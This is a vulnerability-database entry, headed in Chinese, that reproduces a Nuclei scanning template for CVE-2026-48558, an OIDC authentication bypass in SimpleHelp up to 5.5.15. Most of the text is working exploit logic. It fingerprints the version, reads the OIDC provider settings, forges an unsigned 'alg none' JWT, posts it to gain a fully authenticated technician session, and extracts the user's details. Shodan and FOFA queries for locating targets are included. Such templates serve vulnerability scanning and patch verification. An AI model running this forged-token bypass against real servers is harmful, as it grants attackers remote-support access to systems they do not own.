CVE-2026-48558: SimpleHelp <=5.5.15 - OIDC JWT Authentication Bypass

日期: 2026-09-16 | 影响软件: 未知 | PoC: 已公开

漏洞描述

SimpleHelp <= 5.5.15 and 6.0 pre-release contain an authentication bypass caused by lack of cryptographic signature verification in OIDC tokens, letting remote unauthenticated attackers gain technician sessions, exploit requires OIDC authentication configured.

PoC代码[已公开]

id: CVE-2026-48558

info:
  name: SimpleHelp <=5.5.15 - OIDC JWT Authentication Bypass
  author: 0x_Akoko,pdteam
  severity: critical
  description: |
    SimpleHelp <= 5.5.15 and 6.0 pre-release contain an authentication bypass caused by lack of cryptographic signature verification in OIDC tokens, letting remote unauthenticated attackers gain technician sessions, exploit requires OIDC authentication configured.
  impact: |
    Remote attackers can bypass authentication and multi-factor authentication to gain full technician access.
  remediation: |
    Update to a version later than 5.5.15 or the final 6.0 release.
  reference:
    - https://horizon3.ai/attack-research/disclosures/cve-2026-48558-simplehelp-authentication-bypass-iocs/
    - https://simple-help.com/security/simplehelp-security-update-2026-05
    - https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/multi/http/simplehelp_oidc_auth_bypass_rce.rb
    - https://github.com/J4ck3LSyN-Gen2/CVE-2026-48558
    - https://nvd.nist.gov/vuln/detail/CVE-2026-48558
    - https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2026-48558
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
    cvss-score: 10.0
    cve-id: CVE-2026-48558
    cwe-id: CWE-347
    epss-score: 0.64313
    epss-percentile: 0.99184
  metadata:
    verified: true
    max-request: 5
    vendor: simple-help
    product: simplehelp
    shodan-query: html:"SimpleHelp"
    fofa-query: body="SimpleHelp"
  tags: cve,cve2026,simplehelp,auth-bypass,oidc,jwt,kev,vkev,intrusive,vuln

flow: |
  (function () {
    if (!http(1)) { return; }
    var minor = parseInt(template["sh_minor"] || "99");
    if (isNaN(minor) || minor > 15) { return; }

    http(2);
    var providers_raw = template["providers_raw"];
    if (!providers_raw) { return; }

    var providers;
    try {
      providers = JSON.parse(providers_raw);
    } catch (e) { return; }
    if (!providers || !providers[0]) { return; }

    var provider = null;
    for (var i = 0; i < providers.length; i++) {
      if (providers[i]["type"] === "oidc" || providers[i]["type"] === "azure") {
        provider = providers[i];
        break;
      }
    }
    if (!provider) { return; }

    var root = (template["http_1_host"] || "").replace(/\/+$/, "");
    if (!root) { return; }
    provider["callback"] = root + "/webapps/technician/";
    set("oidc_payload_enc", encodeURIComponent(JSON.stringify(provider)));

    http(3);
    var auth_url_str = template["auth_url_raw"] || "";
    var auth_url;
    try {
      auth_url = JSON.parse(auth_url_str);
    } catch (e) {
      auth_url = auth_url_str.replace(/^"/, "").replace(/"$/, "").trim();
    }
    if (!auth_url) { return; }

    var state_m = auth_url.match(/[?&]state=([^&\s"'<>]+)/);
    if (!state_m) { return; }

    var nonce_m = auth_url.match(/[?&]nonce=([^&\s"'<>]+)/);
    var nonce = nonce_m ? nonce_m[1] : "";

    function b64url(s) {
      var CHARS = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789-_";
      var bytes = [];
      for (var c = 0; c < s.length; c++) { bytes.push(s.charCodeAt(c) & 0xFF); }
      var out = "";
      var j = 0;
      while (j < bytes.length) {
        var b0 = bytes[j++];
        var b1 = (j < bytes.length) ? bytes[j++] : -1;
        var b2 = (j < bytes.length) ? bytes[j++] : -1;
        out += CHARS[b0 >> 2];
        out += CHARS[((b0 & 3) << 4) | (b1 < 0 ? 0 : (b1 >> 4))];
        if (b1 >= 0) { out += CHARS[((b1 & 15) << 2) | (b2 < 0 ? 0 : (b2 >> 6))]; }
        if (b2 >= 0) { out += CHARS[b2 & 63]; }
      }
      return out;
    }

    var now = Math.floor(new Date().getTime() / 1000);
    var jwt_header  = {"alg":"none","typ":"JWT"};
    var jwt_payload = {
      "sub":                "probe-cve-2026-48558",
      "preferred_username": "probe-check",
      "name":               "ProbeCheck",
      "email":              "probe-check@probetest.invalid",
      "iat":                now,
      "exp":                now + 3600
    };
    if (nonce) { jwt_payload["nonce"] = nonce; }

    var forged_jwt = b64url(JSON.stringify(jwt_header)) + "." +
                     b64url(JSON.stringify(jwt_payload)) + ".x";

    set("oidc_post_body",
        "state=" + encodeURIComponent(state_m[1]) +
        "&id_token=" + encodeURIComponent(forged_jwt));

    http(4);

    http(5);
  })();

http:
  - method: GET
    path:
      - "{{BaseURL}}/allversions"

    cookie-reuse: true

    matchers:
      - type: regex
        part: body
        regex:
          - "Visual Version:\\s+5\\.5\\.(\\d+)"
        internal: true

    extractors:
      - type: regex
        name: sh_minor
        part: body
        group: 1
        regex:
          - "Visual Version:\\s+5\\.5\\.(\\d+)"
        internal: true

  - method: GET
    path:
      - "{{BaseURL}}/auth/v1/account/login_options"

    cookie-reuse: true

    matchers:
      - type: status
        status:
          - 200
        internal: true

    extractors:
      - type: dsl
        name: providers_raw
        dsl:
          - "body"
        internal: true

  - raw:
      - |
        GET /auth/v1/account/oidc_get?payload={{oidc_payload_enc}} HTTP/1.1
        Host: {{Hostname}}
        Accept: application/json, */*

    cookie-reuse: true

    matchers:
      - type: status
        status:
          - 200
        internal: true

    extractors:
      - type: dsl
        name: auth_url_raw
        dsl:
          - "body"
        internal: true

  - raw:
      - |
        POST /oidc HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        {{oidc_post_body}}

    cookie-reuse: true
    redirects: false

    matchers:
      - type: dsl
        dsl:
          - "status_code == 200 || status_code == 302"
        internal: true

  - method: GET
    path:
      - "{{BaseURL}}/auth/v1/account/status"

    cookie-reuse: true

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains(body, "FULLY_AUTHENTICATED")'
          - 'contains(body, "\"code\":1") || contains(body, "\"code\": 1")'
        condition: and

    extractors:
      - type: dsl
        dsl:
          - 'username + " | " + email'

      - type: json
        part: body
        json:
          - ".user.username"
        name: username
        internal: true

      - type: json
        part: body
        json:
          - ".user.emailAddress"
        name: email
# digest: 4b0a00483046022100fbea454d420701f93a37bde8ac879f487b787ea6ff703a6b07fb3dc087a8c5bb022100a96d0eedda6a9ebfe2c0b965f025282087ac22926f13424fb1ac6623ae7ab727:922c64590222798bb761d5b6d8e72950